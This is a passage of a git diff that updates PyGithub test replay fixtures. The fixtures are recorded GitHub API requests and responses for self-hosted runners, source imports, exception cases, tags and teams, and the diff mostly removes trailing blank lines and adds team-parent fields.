/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":1,"subscribers_count":2} diff --git a/tests/ReplayData/SelfHostedActionsRunner.testAttributes.txt b/tests/ReplayData/SelfHostedActionsRunner.testAttributes.txt index 8d23eb617c..4b1c1f550b 100644 --- a/tests/ReplayData/SelfHostedActionsRunner.testAttributes.txt +++ b/tests/ReplayData/SelfHostedActionsRunner.testAttributes.txt @@ -1,11 +1,10 @@ -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners/2217 -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:25:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e1bb6005140b66d1a4905bfc1af4809c"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4832'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '168'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CB66:5760:818D4C:15F3BD5:5F56B373')] -{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]} - +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners/2217 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:25:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e1bb6005140b66d1a4905bfc1af4809c"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4832'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '168'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CB66:5760:818D4C:15F3BD5:5F56B373')] +{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]} diff --git a/tests/ReplayData/SelfHostedActionsRunnerRegistrationToken.setUp.txt b/tests/ReplayData/SelfHostedActionsRunnerRegistrationToken.setUp.txt index 667cd1e824..338623882d 100644 --- a/tests/ReplayData/SelfHostedActionsRunnerRegistrationToken.setUp.txt +++ b/tests/ReplayData/SelfHostedActionsRunnerRegistrationToken.setUp.txt @@ -19,4 +19,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 05 Jul 2021 20:07:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f01cc10bee4cd626ffee9f8c1a1566d5c3019b7673bd84f2a2d0204bbb166ffa"'), ('Last-Modified', 'Mon, 05 Jul 2021 19:25:14 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1625517804'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CCE6:77DE:151E25A:4254406:60E36698')] {"id":371729749,"node_id":"MDEwOlJlcG9zaXRvcnkzNzE3Mjk3NDk=","name":"github-app","full_name":"coveo/github-app","private":true,"owner":{"login":"coveo","id":8632328,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg2MzIzMjg=","avatar_url":"https://avatars.githubusercontent.com/u/8632328?v=4","gravatar_id":"","url":"https://api.github.com/users/coveo","html_url":"https://github.com/coveo","followers_url":"https://api.github.com/users/coveo/followers","following_url":"https://api.github.com/users/coveo/following{/other_user}","gists_url":"https://api.github.com/users/coveo/gists{/gist_id}","starred_url":"https://api.github.com/users/coveo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coveo/subscriptions","organizations_url":"https://api.github.com/users/coveo/orgs","repos_url":"https://api.github.com/users/coveo/repos","events_url":"https://api.github.com/users/coveo/events{/privacy}","received_events_url":"https://api.github.com/users/coveo/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/coveo/github-app","description":null,"fork":false,"url":"https://api.github.com/repos/coveo/github-app","forks_url":"https://api.github.com/repos/coveo/github-app/forks","keys_url":"https://api.github.com/repos/coveo/github-app/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coveo/github-app/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coveo/github-app/teams","hooks_url":"https://api.github.com/repos/coveo/github-app/hooks","issue_events_url":"https://api.github.com/repos/coveo/github-app/issues/events{/number}","events_url":"https://api.github.com/repos/coveo/github-app/events","assignees_url":"https://api.github.com/repos/coveo/github-app/assignees{/user}","branches_url":"https://api.github.com/repos/coveo/github-app/branches{/branch}","tags_url":"https://api.github.com/repos/coveo/github-app/tags","blobs_url":"https://api.github.com/repos/coveo/github-app/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coveo/github-app/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coveo/github-app/git/refs{/sha}","trees_url":"https://api.github.com/repos/coveo/github-app/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coveo/github-app/statuses/{sha}","languages_url":"https://api.github.com/repos/coveo/github-app/languages","stargazers_url":"https://api.github.com/repos/coveo/github-app/stargazers","contributors_url":"https://api.github.com/repos/coveo/github-app/contributors","subscribers_url":"https://api.github.com/repos/coveo/github-app/subscribers","subscription_url":"https://api.github.com/repos/coveo/github-app/subscription","commits_url":"https://api.github.com/repos/coveo/github-app/commits{/sha}","git_commits_url":"https://api.github.com/repos/coveo/github-app/git/commits{/sha}","comments_url":"https://api.github.com/repos/coveo/github-app/comments{/number}","issue_comment_url":"https://api.github.com/repos/coveo/github-app/issues/comments{/number}","contents_url":"https://api.github.com/repos/coveo/github-app/contents/{+path}","compare_url":"https://api.github.com/repos/coveo/github-app/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coveo/github-app/merges","archive_url":"https://api.github.com/repos/coveo/github-app/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coveo/github-app/downloads","issues_url":"https://api.github.com/repos/coveo/github-app/issues{/number}","pulls_url":"https://api.github.com/repos/coveo/github-app/pulls{/number}","milestones_url":"https://api.github.com/repos/coveo/github-app/milestones{/number}","notifications_url":"https://api.github.com/repos/coveo/github-app/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coveo/github-app/labels{/name}","releases_url":"https://api.github.com/repos/coveo/github-app/releases{/id}","deployments_url":"https://api.github.com/repos/coveo/github-app/deployments","created_at":"2021-05-28T14:37:57Z","updated_at":"2021-07-05T19:25:14Z","pushed_at":"2021-07-05T19:25:12Z","git_url":"git://github.com/coveo/github-app.git","ssh_url":"git@github.com:coveo/github-app.git","clone_url":"https://github.com/coveo/github-app.git","svn_url":"https://github.com/coveo/github-app","homepage":null,"size":359,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":3,"license":null,"forks":0,"open_issues":3,"watchers":0,"default_branch":"main","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABL6CDZV45DZSICHFGRRXW3A4NT4I","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":true,"organization":{"login":"coveo","id":8632328,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg2MzIzMjg=","avatar_url":"https://avatars.githubusercontent.com/u/8632328?v=4","gravatar_id":"","url":"https://api.github.com/users/coveo","html_url":"https://github.com/coveo","followers_url":"https://api.github.com/users/coveo/followers","following_url":"https://api.github.com/users/coveo/following{/other_user}","gists_url":"https://api.github.com/users/coveo/gists{/gist_id}","starred_url":"https://api.github.com/users/coveo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coveo/subscriptions","organizations_url":"https://api.github.com/users/coveo/orgs","repos_url":"https://api.github.com/users/coveo/repos","events_url":"https://api.github.com/users/coveo/events{/privacy}","received_events_url":"https://api.github.com/users/coveo/received_events","type":"Organization","site_admin":false},"network_count":0,"subscribers_count":0} - diff --git a/tests/ReplayData/SelfHostedActionsRunnerRegistrationToken.testAttributes.txt b/tests/ReplayData/SelfHostedActionsRunnerRegistrationToken.testAttributes.txt index b4f5f7169a..a1f1d72f5a 100644 --- a/tests/ReplayData/SelfHostedActionsRunnerRegistrationToken.testAttributes.txt +++ b/tests/ReplayData/SelfHostedActionsRunnerRegistrationToken.testAttributes.txt @@ -8,4 +8,3 @@ None 201 [('Server', 'GitHub.com'), ('Date', 'Mon, 05 Jul 2021 20:07:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '86'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"b2ea1ffedf367a951981e1813b786e2315a3a7208b1ab11c95118b9dc7d2e38e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1625517804'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CCE7:32F3:1693249:341992E:60E36698')] {"token":"INSERTABEAUTIFULTOKENHERE","expires_at":"2021-07-05T17:07:52.961-04:00"} - diff --git a/tests/ReplayData/SourceImport.setUp.txt b/tests/ReplayData/SourceImport.setUp.txt index fcf4c10d0b..086dd5edc2 100644 --- a/tests/ReplayData/SourceImport.setUp.txt +++ b/tests/ReplayData/SourceImport.setUp.txt @@ -30,4 +30,3 @@ null 200 [('content-length', '533'), ('x-runtime-rack', '0.137115'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"8659af05bfc77665551bec8f8a6bb2ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-github-media-type', 'github.barred-rock-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D34D:2057:22D5E83:4403573:5A374787'), ('date', 'Mon, 18 Dec 2017 04:43:51 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513572653')] {"vcs":"mercurial","use_lfs":"undecided","vcs_url":"https://bitbucket.org/hfuss/source-import-test","status":"complete","status_text":"Done","has_large_files":false,"large_files_size":0,"large_files_count":0,"authors_count":1,"url":"https://api.github.com/repos/brix4dayz/source-import-test/import","html_url":"https://github.com/brix4dayz/source-import-test/import","authors_url":"https://api.github.com/repos/brix4dayz/source-import-test/import/authors","repository_url":"https://api.github.com/repos/brix4dayz/source-import-test"} - diff --git a/tests/ReplayData/SpecificExceptions.testAuthenticatedRateLimitExceeded.txt b/tests/ReplayData/SpecificExceptions.testAuthenticatedRateLimitExceeded.txt index bacdc4210d..3f29434179 100644 --- a/tests/ReplayData/SpecificExceptions.testAuthenticatedRateLimitExceeded.txt +++ b/tests/ReplayData/SpecificExceptions.testAuthenticatedRateLimitExceeded.txt @@ -63,5 +63,3 @@ None 403 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Oct 2018 06:16:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '403 Forbidden'), ('Retry-After', '60'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com status.github.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com; font-src assets-cdn.github.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: assets-cdn.github.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com collector.githubapp.com avatars0.githubusercontent.com avatars1.githubusercontent.com avatars2.githubusercontent.com avatars3.githubusercontent.com github-cloud.s3.amazonaws.com; manifest-src 'self'; media-src 'none'; script-src assets-cdn.github.com; style-src 'unsafe-inline' assets-cdn.github.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '6EFB:2C9E:20874C7:50B5096:5BCEBCD7')] {"documentation_url": "https://developer.github.com/v3/#abuse-rate-limits","message": "You have triggered an abuse detection mechanism. Please wait a few minutes before you try again."} - - diff --git a/tests/ReplayData/SpecificExceptions.testBadCredentials.txt b/tests/ReplayData/SpecificExceptions.testBadCredentials.txt index 4028ca2937..dc75bd1d37 100644 --- a/tests/ReplayData/SpecificExceptions.testBadCredentials.txt +++ b/tests/ReplayData/SpecificExceptions.testBadCredentials.txt @@ -8,4 +8,3 @@ None 401 [('status', '401 Unauthorized'), ('content-length', '29'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"ca6a3702f840b6bff0bb1bca6be0337c"'), ('date', 'Sat, 02 Jun 2012 12:12:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Bad credentials"} - diff --git a/tests/ReplayData/SpecificExceptions.testBadUserAgent.txt b/tests/ReplayData/SpecificExceptions.testBadUserAgent.txt index d60400a963..f2ed462450 100644 --- a/tests/ReplayData/SpecificExceptions.testBadUserAgent.txt +++ b/tests/ReplayData/SpecificExceptions.testBadUserAgent.txt @@ -8,4 +8,3 @@ None 403 [('date', 'Fri, 17 May 2013 12:16:34 GMT'), ('content-length', '107'), ('content-type', 'application/octet-stream'), ('connection', 'keep-alive'), ('server', 'GitHub.com')] {"message":"Missing or invalid User Agent string. See http://developer.github.com/v3/#user-agent-required"} - diff --git a/tests/ReplayData/SpecificExceptions.testRateLimitExceeded.txt b/tests/ReplayData/SpecificExceptions.testRateLimitExceeded.txt index 6e91d784a8..f0c08c6532 100644 --- a/tests/ReplayData/SpecificExceptions.testRateLimitExceeded.txt +++ b/tests/ReplayData/SpecificExceptions.testRateLimitExceeded.txt @@ -52,4 +52,3 @@ None 403 [('status', '403 Forbidden'), ('x-ratelimit-remaining', '0'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('content-length', '56'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('access-control-allow-credentials', 'true'), ('date', 'Fri, 17 May 2013 12:23:56 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"message":"API Rate Limit Exceeded for 92.104.200.119"} - diff --git a/tests/ReplayData/SpecificExceptions.testUnknownObject.txt b/tests/ReplayData/SpecificExceptions.testUnknownObject.txt index fbb8a31e31..2126255358 100644 --- a/tests/ReplayData/SpecificExceptions.testUnknownObject.txt +++ b/tests/ReplayData/SpecificExceptions.testUnknownObject.txt @@ -19,4 +19,3 @@ None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4970'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 02 Jun 2012 12:11:47 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} - diff --git a/tests/ReplayData/Tag.setUp.txt b/tests/ReplayData/Tag.setUp.txt index def9a1f84c..2907948893 100644 --- a/tests/ReplayData/Tag.setUp.txt +++ b/tests/ReplayData/Tag.setUp.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('content-length', '1873'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d43a1ebbb23a4f99f4fbac19caadc4af"'), ('date', 'Sat, 19 May 2012 04:49:45 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"zipball_url":"https://github.com/jacquev6/PyGithub/zipball/v0.3","tarball_url":"https://github.com/jacquev6/PyGithub/tarball/v0.3","name":"v0.3","commit":{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/636e6112deb72277b3bffcc3303cd7e8a7431a5d","sha":"636e6112deb72277b3bffcc3303cd7e8a7431a5d"}},{"zipball_url":"https://github.com/jacquev6/PyGithub/zipball/v0.4","tarball_url":"https://github.com/jacquev6/PyGithub/tarball/v0.4","name":"v0.4","commit":{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a3be28756101370fbc689eec3a7825c4c385a6c9","sha":"a3be28756101370fbc689eec3a7825c4c385a6c9"}},{"zipball_url":"https://github.com/jacquev6/PyGithub/zipball/v0.5","tarball_url":"https://github.com/jacquev6/PyGithub/tarball/v0.5","name":"v0.5","commit":{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/936f4a97f1a86392637ec002bbf89ff036a5062d","sha":"936f4a97f1a86392637ec002bbf89ff036a5062d"}},{"zipball_url":"https://github.com/jacquev6/PyGithub/zipball/v0.6","tarball_url":"https://github.com/jacquev6/PyGithub/tarball/v0.6","name":"v0.6","commit":{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4303c5b90e2216d927155e9609436ccb8984c495","sha":"4303c5b90e2216d927155e9609436ccb8984c495"}},{"zipball_url":"https://github.com/jacquev6/PyGithub/zipball/v0.1","tarball_url":"https://github.com/jacquev6/PyGithub/tarball/v0.1","name":"v0.1","commit":{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dbdcda3591980de42617814f792969126e6402c3","sha":"dbdcda3591980de42617814f792969126e6402c3"}},{"zipball_url":"https://github.com/jacquev6/PyGithub/zipball/v0.2","tarball_url":"https://github.com/jacquev6/PyGithub/tarball/v0.2","name":"v0.2","commit":{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/9f0b05161f9d1962b9156e6c91fc04f382028240","sha":"9f0b05161f9d1962b9156e6c91fc04f382028240"}}] - diff --git a/tests/ReplayData/Team.setUp.txt b/tests/ReplayData/Team.setUp.txt index 0298a97c50..870faac819 100644 --- a/tests/ReplayData/Team.setUp.txt +++ b/tests/ReplayData/Team.setUp.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '145'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"03555a65309084f36bcf959063a39d35"'), ('date', 'Sat, 26 May 2012 21:09:52 GMT'), ('content-type', 'application/json; charset=utf-8')] {"repos_count":0,"url":"https://api.github.com/teams/189850","members_count":0,"name":"Team created by PyGithub","slug": "pygithub","privacy":"closed","permission":"pull","id":189850,"organization":{"login":"BeaverSoftware","id":1424031,"url":"https://api.github.com/orgs/BeaverSoftware"},"html_url":"https://github.com/orgs/BeaverSoftware/teams/core"} - diff --git a/tests/ReplayData/Team.testDelete.txt b/tests/ReplayData/Team.testDelete.txt index c95d5c1c67..1886a7dd5c 100644 --- a/tests/ReplayData/Team.testDelete.txt +++ b/tests/ReplayData/Team.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4946'), ('x-ratelimit-limit', '5000'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 21:16:46 GMT')] - - diff --git a/tests/ReplayData/Team.testDiscussions.txt b/tests/ReplayData/Team.testDiscussions.txt index 7ff015545f..07c5995573 100644 --- a/tests/ReplayData/Team.testDiscussions.txt +++ b/tests/ReplayData/Team.testDiscussions.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '1595'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"03555a65309084f36bcf959063a39d35"'), ('date', 'Sat, 26 May 2012 21:09:52 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"author":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"body":"BODY","body_html":"

BODY

","body_version":"bedf0740b01d2d758cff9873c2387817","comments_count":0,"comments_url":"https://api.github.com/teams/189850/discussions/1/comments","created_at":"2019-10-08T21:03:36Z","last_edited_at":null,"html_url":"https://github.com/orgs/BeaverSoftware/teams/Team/discussions/1","node_id":"MDE0OlRlYW1EaXNjdXNzaW9uMzA=","number":1,"pinned":true,"private":false,"team_url":"https://api.github.com/teams/189850","title":"TITLE","updated_at":"2019-10-08T21:03:36Z","url":"https://api.github.com/teams/189850/discussions/1"}] - diff --git a/tests/ReplayData/Team.testEditWithAllArguments.txt b/tests/ReplayData/Team.testEditWithAllArguments.txt index 46a1137f7d..f9550bf04b 100644 --- a/tests/ReplayData/Team.testEditWithAllArguments.txt +++ b/tests/ReplayData/Team.testEditWithAllArguments.txt @@ -1,11 +1,21 @@ +https +GET +api.github.com +None +/teams/141496 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-ratelimit-limit', '5000'), ('content-length', '128'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"b93241eaf4384574f38b352b25595e28"'), ('date', 'Fri, 01 Jun 2012 19:35:59 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1} + https PATCH api.github.com None /teams/189850 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -{"name": "Name edited twice by PyGithub", "permission": "admin", "privacy": "secret", "description": "Description edited by PyGithub"} +{"name": "Name edited twice by PyGithub", "permission": "admin", "privacy": "secret", "description": "Description edited by PyGithub", "parent_team_id": 141496, "notification_setting": "notifications_disabled"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4949'), ('content-length', '170'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8856425cedbdf3075576e823f39fc3d6"'), ('date', 'Sat, 26 May 2012 21:14:46 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"permission":"admin","members_count":0,"url":"https://api.github.com/teams/189850","repos_count":0,"privacy":"secret","name":"Name edited twice by PyGithub","id":189850, "description": "Description edited by PyGithub"} - +{"permission":"admin","members_count":0,"url":"https://api.github.com/teams/189850","repos_count":0,"privacy":"secret","name":"Name edited twice by PyGithub","id":189850, "description": "Description edited by PyGithub", "notification_setting": "notifications_disabled", "parent": {"repos_count":1,"permission":"push","url":"https://api.github.com/teams/141496","name":"Members","id":141496,"members_count":1}} diff --git a/tests/ReplayData/Team.testEditWithoutArguments.txt b/tests/ReplayData/Team.testEditWithoutArguments.txt index 999afb15a6..17e2770771 100644 --- a/tests/ReplayData/Team.testEditWithoutArguments.txt +++ b/tests/ReplayData/Team.testEditWithoutArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4952'), ('content-length', '144'), ('server', 